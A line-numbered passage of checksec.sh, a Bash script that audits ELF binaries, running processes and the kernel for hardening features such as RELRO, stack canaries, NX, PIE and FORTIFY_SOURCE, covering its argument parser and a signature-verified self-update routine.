\"libc\":\"$FS_tmp_libc\", \"fortifiable\":\"no\" }," 1028 | fi 1029 | fi 1030 | (( FS_cnt_total++ )) 1031 | (( FS_cnt_checked++ )) 1032 | fi 1033 | 1034 | done 1035 | done 1036 | } 1037 | 1038 | FS_summary() { 1039 | $debug && echo "***function FS_summary" 1040 | echo_message "\n" "" "\n" "" 1041 | echo_message "SUMMARY:\n\n" "" "" "" 1042 | echo_message "* Number of checked functions in libc : ${#FS_chk_func_libc[@]}\n" "${#FS_chk_func_libc[@]}," " " "\"nb_unchecked_func\":\"$FS_cnt_unchecked\" } " 1047 | echo_message "\n" "\n" "\n" "" 1048 | } 1049 | 1050 | debug_report() { 1051 | echo "***** Checksec debug *****" 1052 | failed=false 1053 | id 1054 | uname -a 1055 | for command in cat awk sysctl uname mktemp openssl grep stat file find head ps readlink basename id which wget curl readelf eu-readelf; do 1056 | path="$(which $command)" 1057 | if [ -e "$path" ]; then 1058 | ls -l "$path" 1059 | if [ -L "$path" ]; then 1060 | absolutepath=$(readlink -f "$path") 1061 | ls -l "$absolutepath" 1062 | file "$absolutepath" 1063 | else 1064 | file "$path" 1065 | fi 1066 | else 1067 | echo "*** can not find command $command" 1068 | failed=true 1069 | fi 1070 | done 1071 | 1072 | if [[ $failed ]]; then 1073 | exit 1 1074 | fi 1075 | } 1076 | 1077 | commandsmissing=false 1078 | for command in cat awk sysctl uname mktemp openssl grep stat file find head ps readlink basename id which; do 1079 | if ! (command_exists $command); then 1080 | echo -e "\e[31mWARNING: '$command' not found! It's required for most checks.\e[0m" 1081 | commandsmissing=true 1082 | fi 1083 | done 1084 | 1085 | if [[ $commandsmissing == true ]]; then 1086 | echo -e "\n\e[31mWARNING: Not all necessary commands found. Some tests might not work!\e[0m\n" 1087 | sleep 2 1088 | fi 1089 | 1090 | if (command_exists readelf); then 1091 | readelf=readelf 1092 | elif (command_exists eu-readelf); then 1093 | readelf=eu-readelf 1094 | elif (command_exists greadelf); then 1095 | readelf=greadelf 1096 | else 1097 | echo -e "\n\e[31mERROR: readelf is a required tool for almost all tests. Aborting...\e[0m\n" 1098 | exit 1099 | fi 1100 | #while [[ "$@" != "" ]] 1101 | while test -n "$1" 1102 | do 1103 | # parse command-line arguments 1104 | case "$1" in 1105 | 1106 | --version) 1107 | version 1108 | exit 0 1109 | ;; 1110 | 1111 | --help|-h) 1112 | help 1113 | exit 0 1114 | ;; 1115 | --debug) 1116 | debug=true 1117 | debug_report 1118 | shift 1 1119 | ;; 1120 | --update|--upgrade) 1121 | if $pkg_release; then 1122 | printf "\033[31mError: Unknown option '%s'.\033[m\n\n" "$1" 1123 | help 1124 | exit 1 1125 | fi 1126 | umask 027 1127 | TMP_FILE=$(mktemp /tmp/checksec.XXXXXXXXXX) 1128 | SIG_FILE=$(mktemp /tmp/checksec_sig.XXXXXXXX) 1129 | PUBKEY_FILE=$(mktemp /tmp/checksec_pubkey.XXXXXXXXXX) 1130 | fetch "${SCRIPT_URL}" "${TMP_FILE}" 1131 | fetch "${SIG_URL}" "${SIG_FILE}" 1132 | echo "${PUBKEY}" | base64 -d > "${PUBKEY_FILE}" 1133 | if ! openssl dgst -sha256 -verify "${PUBKEY_FILE}" -signature "${SIG_FILE}" "${TMP_FILE}" >/dev/null 2>&1; then 1134 | echo "file signature does not match. Update may be tampered" 1135 | rm -f "${TMP_FILE}" "${SIG_FILE}" "${PUBKEY_FILE}" >/dev/null 2>&1 1136 | exit 1 1137 | fi 1138 | UPDATE_VERSION=$(grep "^SCRIPT_VERSION" "${TMP_FILE}" | awk -F"=" '{ print $2 }') 1139 | if [[ "${SCRIPT_VERSION}" != "${UPDATE_VERSION}" ]]; then 1140 | PERMS=$(stat -c "%a" "$0") 1141 | rm -f "${SIG_FILE}" "${PUBKEY_FILE}" >/dev/null 2>&1 1142 | mv "${TMP_FILE}" "$0" >/dev/null 2>&1 1143 | if [[ $? == 0 ]]; then 1144 | echo "checksec.sh updated - Rev. $UPDATE_VERSION" 1145 | chmod "$PERMS" "$0" 1146 | else 1147 | echo "Error: Could not update... Please check permissions" 1148 | rm -f "$TMP_FILE" >/dev/null 2>&1 1149 | exit 1 1150 | fi 1151 | else 1152 | echo "checksec.sh not updated... Already on latest version" 1153 | rm -f "${TMP_FILE}" "${SIG_FILE}" "${PUBKEY_FILE}" >/dev/null 2>&1 1154 | exit 1 1155 | fi 1156 | exit 0 1157 | ;; 1158 | --format|--output|-o) 1159 | list="cli csv xml json" 1160 | if [[ -n "$2" ]]; then 1161 | if [[ ! $list =~ $2 ]]; then 1162 | printf "\033[31mError: Please provide a valid format {cli, csv, xml, json}.\033[m\n\n" 1163 | exit 1 1164 | fi 1165 | fi 1166 | if [[ "$2" == "xml" ]]; then 1167 | echo '' 1168 | fi 1169 | format="$2" 1170 | shift 2 1171 | ;; 1172 | 1173 | --dir|-d) 1174 | if [[ "$3" = "-v" ]] ; then 1175 | verbose=true 1176 | fi 1177 | if [[ $have_readelf -eq 0 ]] ; then 1178 | exit 1 1179 | fi 1180 | if [[ -z "$2" ]] ; then 1181 | printf "\033[31mError: Please provide a valid directory.\033[m\n\n" 1182 | exit 1 1183 | fi 1184 | # remove trailing slashes 1185 | tempdir=$(echo "$2" | sed -e "s/\/*$//") 1186 | if [[ ! -d "$tempdir" ]] ; then 1187 | printf "\033[31mError: The directory '%s' does not exist.\033[m\n\n" "$tempdir" 1188 | exit 1 1189 | fi 1190 | cd "$tempdir" || exit 1191 | echo_message "RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Checked Total Filename\n" '' "\n" "{ \"dir\": { \"name\":\"$tempdir\" }," 1192 | fdircount=0 1193 | fdirtotal=0 1194 | for N in [A-Za-z]*; do 1195 | if [[ "$N" != "[A-Za-z]*" ]]; then 1196 | out=$(file "$N") 1197 | if [[ $out =~ ELF ]] ; then 1198 | (( fdirtotal++ )) 1199 | fi 1200 | fi 1201 | done 1202 | for N in [A-Za-z]*; do 1203 | if [[ "$N" != "[A-Za-z]*" ]]; then 1204 | # read permissions? 1205 | if [[ ! -r "$N" ]]; then 1206 | printf "\033[31mError: No read permissions for '%s/%s' (run as root).\033[m\n" "$tempdir" "$N" 1207 | else 1208 | # ELF executable? 1209 | out=$(file "$(readlink -f "$N")") 1210 | if [[ ! $out =~ ELF ]] ; then 1211 | if [[ "$verbose" = "true" ]] ; then 1212 | echo_message "\033[34m*** Not an ELF file: $tempdir/" "" "" "" 1213 | file "$N" 1214 | echo_message "\033[m" "" "" "" 1215 | fi 1216 | else 1217 | (( fdircount++ )) 1218 | echo_message "" "" " " "" 1219 | filecheck "$N" 1220 | if [[ "$(find "$N" \( -perm -004000 -o -perm -002000 \) -type f -print)" ]]; then 1221 | echo_message "\033[37;41m$2$N\033[m\n" ",$2$N\n" " filename='$2$N' />\n" ",\"filename\":\"$2$N\"}" 1222 | else 1223 | echo_message "$tempdir/$N\n" ",$tempdir/$N\n" " filename='$tempdir/$N' />\n" ",\"filename\":\"$tempdir/$N\"}" 1224 | fi 1225 | if [[ "$fdircount" == "$fdirtotal" ]]; then 1226 | echo_message "" "" "" "" 1227 | else 1228 | echo_message "" "" "" "," 1229 | fi 1230 | fi 1231 | fi 1232 | fi 1233 | done 1234 | echo_message "" "" "\n" "}" 1235 | exit 0 1236 | ;; 1237 | 1238 | --file|-f) 1239 | if [[ $have_readelf -eq 0 ]] ; then 1240 | exit 1 1241 | fi 1242 | if [[ -z "$2" ]] ; then 1243 | printf "\033[31mError: Please provide a valid file.\033[m\n\n" 1244 | exit 1 1245 | fi 1246 | # does the file exist? 1247 | if [[ ! -e "$2" ]] ; then 1248 | printf "\033[31mError: The file '%s' does not exist.\033[m\n\n" "$2" 1249 | exit 1 1250 | fi 1251 | # read permissions? 1252 | if [[ ! -r "$2" ]] ; then 1253 | printf "\033[31mError: No read permissions for '%s' (run as root).\033[m\n\n" "$2" 1254 | exit 1 1255 | fi 1256 | # ELF executable? 1257 | out=$(file "$(readlink -f "$2")") 1258 | if [[ ! $out =~ ELF ]] ; then 1259 | printf "\033[31mError: Not an ELF file: " 1260 | file "$2" 1261 | printf "\033[m\n" 1262 | exit 1 1263 | fi 1264 | echo_message "RELRO STACK CANARY NX PIE RPATH RUNPATH\tFORTIFY\tFortified Fortifiable FILE\n" '' '' '{' 1265 | filecheck "$2" 1266 | if [[ "$(find "$2" \( -perm -004000 -o -perm -002000 \) -type f -print)" ]] ; then 1267 | echo_message "\033[37;41m$2$N\033[m" ",$2$N" " filename='$2$N'/>\n" ",\"filename\":\"$2$N\" } }" 1268 | else 1269 | echo_message "$2\n" ",$2\n" " filename='$2'/>\n" ",\"filename\":\"$2\" } }" 1270 | fi 1271 | echo 1272 | exit 0 1273 | ;; 1274 | 1275 | --proc-all|-pa) 1276 | if [[ $have_readelf -eq 0 ]] ; then 1277 | exit 1 1278 | fi 1279 | cd /proc || exit 1280 | echo_message "* System-wide ASLR" "" "" "" 1281 | aslrcheck 1282 | echo_message "* Does the CPU support NX: " "" "" "" 1283 | nxcheck 1284 | echo_message " COMMAND PID RELRO STACK CANARY SECCOMP NX/PaX PIE FORTIFY\n" "" "" '{' 1285 | lastpid=0 1286 | currpid=0 1287 | for N in [1-9]*; do 1288 | if [[ "$N" != "$$" ]] && readlink -q "$N"/exe > /dev/null; then 1289 | (( lastpid++ )) 1290 | fi 1291 | done 1292 | for N in [1-9]*; do 1293 | if [[ "$N" != "$$" ]] && readlink -q "$N"/exe > /dev/null; then 1294 | (( currpid++ )) 1295 | name=$(head -1 "$N"/status | cut -b 7-) 1296 | if [[ $format == "cli" ]]; then 1297 | printf "%16s" "$name" 1298 | printf "%7d " "$N" 1299 | else 1300 | echo_message "" "$name," "\n" "" 1306 | else 1307 | echo_message "\n" "\n" "\n" "," 1308 | fi 1309 | fi 1310 | done 1311 | echo_message "" "" "" " }\n" 1312 | if [[ ! -e /usr/bin/id ]] ; then 1313 | echo_message "\n\033[33mNote: If you are running 'checksec.sh' as an unprivileged user, you\n" "" "" "" 1314 | echo_message " will not see all processes. Please run the script as root.\033[m\n\n" "" "" "\n" 1315 | else 1316 | if ! (root_privs) ; then 1317 | echo_message "\n\033[33mNote: You are running 'checksec.sh' as an unprivileged user.\n" "" "" "" 1318 | echo_message " Too see all processes, please run the script as root.\033[m\n\n" "" "" "\n" 1319 | fi 1320 | fi 1321 | exit 0 1322 | ;; 1323 | 1324 | --proc|-p) 1325 | if [[ $have_readelf -eq 0 ]] ; then 1326 | exit 1 1327 | fi 1328 | if [[ -z "$2" ]] ; then 1329 | printf "\033[31mError: Please provide a valid process name.\033[m\n\n" 1330 | exit 1 1331 | fi 1332 | if ! (isString "$2") ; then 1333 | printf "\033[31mError: Please provide a valid process name.\033[m\n\n" 1334 | exit 1 1335 | fi 1336 | cd /proc || exit 1337 | echo_message "* System-wide ASLR" '' '' '' 1338 | aslrcheck 1339 | echo_message "* Does the CPU support NX: " '' '' '' 1340 | nxcheck 1341 | echo_message " COMMAND PID RELRO STACK CANARY SECCOMP NX/PaX PIE FORTIFY\n" "" "" '{' 1342 | for N in $(ps -Ao pid,comm | grep "$2" | cut -b1-6); do 1343 | if [[ -d "$N" ]] ; then 1344 | name=$(head -1 "$N"/status | cut -b 7-) 1345 | if [[ $format == "cli" ]]; then 1346 | printf "%16s" "$name" 1347 | printf "%7d " "$N" 1348 | else 1349 | echo_message "" "$name," "\n" "" 1365 | fi 1366 | done 1367 | echo_message "\n" "\n" "\n" "}\n" 1368 | exit 0 1369 | ;; 1370 | 1371 | --proc-libs|-pl) 1372 | if [[ $have_readelf -eq 0 ]] ; then 1373 | exit 1 1374 | fi 1375 | if [[ -z "$2" ]] ; then 1376 | printf "\033[31mError: Please provide a valid process ID.\033[m\n\n" 1377 | exit 1 1378 | fi 1379 | if ! (isNumeric "$2") ; then 1380 | printf "\033[31mError: Please provide a valid process ID.\033[m\n\n" 1381 | exit 1 1382 | fi 1383 | cd /proc || exit 1384 | echo_message "* System-wide ASLR" '' '' '' 1385 | aslrcheck 1386 | echo_message "* Does the CPU support NX: " '' '' '' 1387 | nxcheck 1388 | echo_message "* Process information:\n\n" "" "" "" 1389 | echo_message " COMMAND PID RELRO STACK CANARY SECCOMP NX/PaX PIE Fortify Source\n" '' '' '' 1390 | N=$2 1391 | if [[ -d "$N" ]] ; then 1392 | name=$(head -1 "$N/status" | cut -b 7-) 1393 | if [[ "$format" == "cli" ]]; then 1394 | printf "%16s" "$name" 1395 | printf "%7d " "$N" 1396 | else 1397 | echo_message "" "$name," "\n" "} }" 1417 | fi 1418 | exit 0 1419 | ;; 1420 | 1421 | --kernel|-k) 1422 | if [[ -e "$2" ]] && [[ ! -d "$2" ]]; then 1423 | if [[ -s "$(pwd -P)/$2" ]]; then 1424 | configfile=$(pwd -P)/$2 1425 | elif [[ -s "$2" ]]; then 1426 | configfile=$2 1427 | else 1428 | "Error: config file specified do not exist" 1429 | exit 1 1430 | fi 1431 | echo_message "* Kernel protection information for : $configfile \n\n" "" "" "" 1432 | cd /proc && kernelcheck "$configfile" || exit 1433 | else 1434 | cd /proc || exit 1435 | echo_message "* Kernel protection information:\n\n" "" "" "" 1436 | kernelcheck 1437 | fi 1438 | exit 0 1439 | ;; 1440 | 1441 | --fortify-file|-ff) 1442 | if [[ $have_readelf -eq 0 ]] ; then 1443 | exit 1 1444 | fi 1445 | if [[ -z "$2" ]] ; then 1446 | printf "\033[31mError: Please provide a valid file.\033[m\n\n" 1447 | exit 1 1448 | fi 1449 | # does the file exist? 1450 | if [[ ! -e "$2" ]] ; then 1451 | printf "\033[31mError: The file '%s' does not exist.\033[m\n\n" "$2" 1452 | exit 1 1453 | fi 1454 | # read permissions? 1455 | if [[ ! -r "$2" ]] ; then 1456 | printf "\033[31mError: No read permissions for '%s' (run as root).\033[m\n\n" "$2" 1457 | exit 1 1458 | fi 1459 | # ELF executable? 1460 | out=$(file "$(readlink -f "$2")") 1461 | if [[ ! $out =~ ELF ]] ; then 1462 | printf "\033[31mError: Not an ELF file: " 1463 | file "$2" 1464 | printf "\033[m\n" 1465 | exit 1 1466 | fi 1467 | if [[ -e /lib/libc.so.6 ]] ; then 1468 | FS_libc=/lib/libc.so.6 1469 | elif [[ -e /lib64/libc.so.6 ]] ; then 1470 | FS_libc=/lib64/libc.so.6 1471 | elif [[ -e /lib/i386-linux-gnu/libc.so.6 ]] ; then 1472 | FS_libc=/lib/i386-linux-gnu/libc.so.6 1473 | elif [[ -e /lib/x86_64-linux-gnu/libc.so.6 ]] ; then 1474 | FS_libc=/lib/x86_64-linux-gnu/libc.so.6 1475 | else 1476 | printf "\033[31mError: libc not found.\033[m\n\n" 1477 | exit 1 1478 | fi 1479 | 1480 | FS_chk_func_libc=( $($readelf -s $FS_libc | grep _chk@@ | awk '{ print $8 }' | cut -c 3- | sed -e 's/_chk@.*//') ) 1481 | FS_functions=( $($readelf -s "$2" | awk '{ print $8 }' | sed 's/_*//' | sed -e 's/@.*//') ) 1482 | echo_message "" "" "\n" "} }" 1488 | exit 0 1489 | ;; 1490 | 1491 | --fortify-proc|-fp) 1492 | if [[ $have_readelf -eq 0 ]] ; then 1493 | exit 1 1494 | fi 1495 | if [[ -z "$2" ]] ; then 1496 | printf "\033[31mError: Please provide a valid process ID.\033[m\n\n" 1497 | exit 1 1498 | fi 1499 | if ! (isNumeric "$2") ; then 1500 | printf "\033[31mError: Please provide a valid process ID.\033[m\n\n" 1501 | exit 1 1502 | fi 1503 | cd /proc || exit 1504 | N=$2 1505 | if [[ -d "$N" ]] ; then 1506 | # read permissions? 1507 | if [[ ! -r "$N/exe" ]] ; then 1508 | if ! (root_privs) ; then 1509 | printf "\033[31mNo read permissions for '/proc/%s/exe' (run as root).\033[m\n\n" "$N" 1510 | exit 1 1511 | fi 1512 | if [[ ! "$(readlink "$N/exe")" ]] ; then 1513 | printf "\033[31mPermission denied. Requested process ID belongs to a kernel thread.\033[m\n\n" 1514 | exit 1 1515 | fi 1516 | exit 1 1517 | fi 1518 | if [[ -e /lib/libc.so.6 ]] ; then 1519 | FS_libc=/lib/libc.so.6 1520 | elif [[ -e /lib64/libc.so.6 ]] ; then 1521 | FS_libc=/lib64/libc.so.6 1522 | elif [[ -e /lib/i386-linux-gnu/libc.so.6 ]] ; then 1523 | FS_libc=/lib/i386-linux-gnu/libc.so.6 1524 | elif [[ -e /lib/x86_64-linux-gnu/libc.so.6 ]] ; then 1525 | FS_libc=/lib/x86_64-linux-gnu/libc.so.6 1526 | else 1527 | printf "\033[31mError: libc not found.\033[m\n\n" 1528 | exit 1 1529 | fi 1530 | name=$(head -1 "$N/status" | cut -b 7-) 1531 | echo_message "* Process name (PID) : $name ($N)\n" "" "" "" 1532 | FS_chk_func_libc=( $($readelf -s $FS_libc | grep _chk@@ | awk '{ print $8 }' | cut -c 3- | sed -e 's/_chk@.*//') ) 1533 | FS_functions=( $($readelf -s "$2/exe" | awk '{ print $8 }' | sed 's/_*//' | sed -e 's/@.*//') ) 1534 | echo_message "" "" "\n" "} }" 1540 | fi 1541 | exit 0 1542 | ;; 1543 | 1544 | *) 1545 | if [[ "$#" != "0" ]] ; then 1546 | printf "\033[31mError: Unknown option %s.\033[m\n\n" "$1" 1547 | fi 1548 | help 1549 | exit 1 1550 | ;; 1551 | esac 1552 | done --------------------------------------------------------------------------------